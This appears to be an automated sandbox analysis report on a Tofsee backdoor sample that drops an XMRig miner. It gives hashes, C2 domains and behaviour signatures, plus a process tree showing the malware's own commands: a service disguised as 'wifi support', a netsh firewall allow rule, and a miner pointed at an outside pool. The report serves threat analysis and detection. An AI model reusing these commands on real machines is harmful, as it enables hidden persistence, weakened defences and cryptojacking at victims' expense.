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Resubmissions

08/05/2023, 12:04

230508-n83alscc6v 10

14/02/2023, 12:24

230214-pljenacf6s 1

14/02/2023, 12:00

230214-n6rq4adb47 10

14/02/2023, 11:52

230214-n1s2zace3s 10

24/01/2023, 09:45

230124-lrfn6sad97 10

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/02/2023, 11:52

General

  • Target

    8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45.exe

  • Size

    232KB

  • MD5

    f6254a206b59207201f38f69fb018932

  • SHA1

    4109d2edf584ce7f8104410eaa02ddae1aa37117

  • SHA256

    8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45

  • SHA512

    bf6ab8ed99b730a364affed3f341387d82a5fed4ae052f4e897726adae2e963182083a3ba6fa52dfa6f2bd9cc9c3b92643279f46bebf931288545938da5a01b6

  • SSDEEP

    3072:aIGGLok59Gt+ECvLFwyvBnlS1g/tK8MJ2LJDhzLrcSb54VIcVTuh:TLoYC+rK+ztK8MY3bIr

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45.exe
    "C:\Users\Admin\AppData\Local\Temp\8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3648
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\nkvhcjgj\
      2⤵
        PID:1816
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\yermfmzu.exe" C:\Windows\SysWOW64\nkvhcjgj\
        2⤵
          PID:4064
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create nkvhcjgj binPath= "C:\Windows\SysWOW64\nkvhcjgj\yermfmzu.exe /d\"C:\Users\Admin\AppData\Local\Temp\8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3396
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description nkvhcjgj "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4892
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start nkvhcjgj
          2⤵
          • Launches sc.exe
          PID:4800
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:508
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3648 -s 1044
          2⤵
          • Program crash
          PID:4648
      • C:\Windows\SysWOW64\nkvhcjgj\yermfmzu.exe
        C:\Windows\SysWOW64\nkvhcjgj\yermfmzu.exe /d"C:\Users\Admin\AppData\Local\Temp\8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1104
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2168
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3772
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1104 -s 512
          2⤵
          • Program crash
          PID:1216
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3648 -ip 3648
        1⤵
          PID:2592
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 1104 -ip 1104
          1⤵
            PID:2600

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\yermfmzu.exe

            Filesize

            12.1MB

            MD5

            1e491318d875ac61e80a92f7452e2426

            SHA1

            fa11f790d7e5e0689dea418fb52508b0d4a1b141

            SHA256

            abeb7838c1cfc359a7133e2d56c449ccb71042f4f32383ed5654477c448370f4

            SHA512

            9e5a6638c3ad8ef2251117dce27db4e95f179829dc721e0daf199be707ffb2cbf7e89f2135b1adbcbe0fb21353d7502ef338c72730e669cab8f7fd8b26c05057

          • C:\Windows\SysWOW64\nkvhcjgj\yermfmzu.exe

            Filesize

            12.1MB

            MD5

            1e491318d875ac61e80a92f7452e2426

            SHA1

            fa11f790d7e5e0689dea418fb52508b0d4a1b141

            SHA256

            abeb7838c1cfc359a7133e2d56c449ccb71042f4f32383ed5654477c448370f4

            SHA512

            9e5a6638c3ad8ef2251117dce27db4e95f179829dc721e0daf199be707ffb2cbf7e89f2135b1adbcbe0fb21353d7502ef338c72730e669cab8f7fd8b26c05057

          • memory/1104-149-0x0000000000400000-0x000000000045E000-memory.dmp

            Filesize

            376KB

          • memory/1104-148-0x0000000000499000-0x00000000004A9000-memory.dmp

            Filesize

            64KB

          • memory/2168-152-0x0000000002400000-0x000000000260F000-memory.dmp

            Filesize

            2.1MB

          • memory/2168-151-0x00000000005E0000-0x00000000005F5000-memory.dmp

            Filesize

            84KB

          • memory/2168-167-0x00000000029E0000-0x00000000029E7000-memory.dmp

            Filesize

            28KB

          • memory/2168-164-0x0000000007380000-0x000000000778B000-memory.dmp

            Filesize

            4.0MB

          • memory/2168-161-0x00000000029D0000-0x00000000029D5000-memory.dmp

            Filesize

            20KB

          • memory/2168-158-0x0000000001B70000-0x0000000001B80000-memory.dmp

            Filesize

            64KB

          • memory/2168-145-0x00000000005E0000-0x00000000005F5000-memory.dmp

            Filesize

            84KB

          • memory/2168-155-0x0000000001B60000-0x0000000001B66000-memory.dmp

            Filesize

            24KB

          • memory/2168-150-0x00000000005E0000-0x00000000005F5000-memory.dmp

            Filesize

            84KB

          • memory/3648-133-0x00000000005A0000-0x00000000005B3000-memory.dmp

            Filesize

            76KB

          • memory/3648-132-0x00000000006ED000-0x00000000006FD000-memory.dmp

            Filesize

            64KB

          • memory/3648-134-0x0000000000400000-0x000000000045E000-memory.dmp

            Filesize

            376KB

          • memory/3648-143-0x0000000000400000-0x000000000045E000-memory.dmp

            Filesize

            376KB

          • memory/3772-171-0x0000000001200000-0x00000000012F1000-memory.dmp

            Filesize

            964KB

          • memory/3772-176-0x0000000001200000-0x00000000012F1000-memory.dmp

            Filesize

            964KB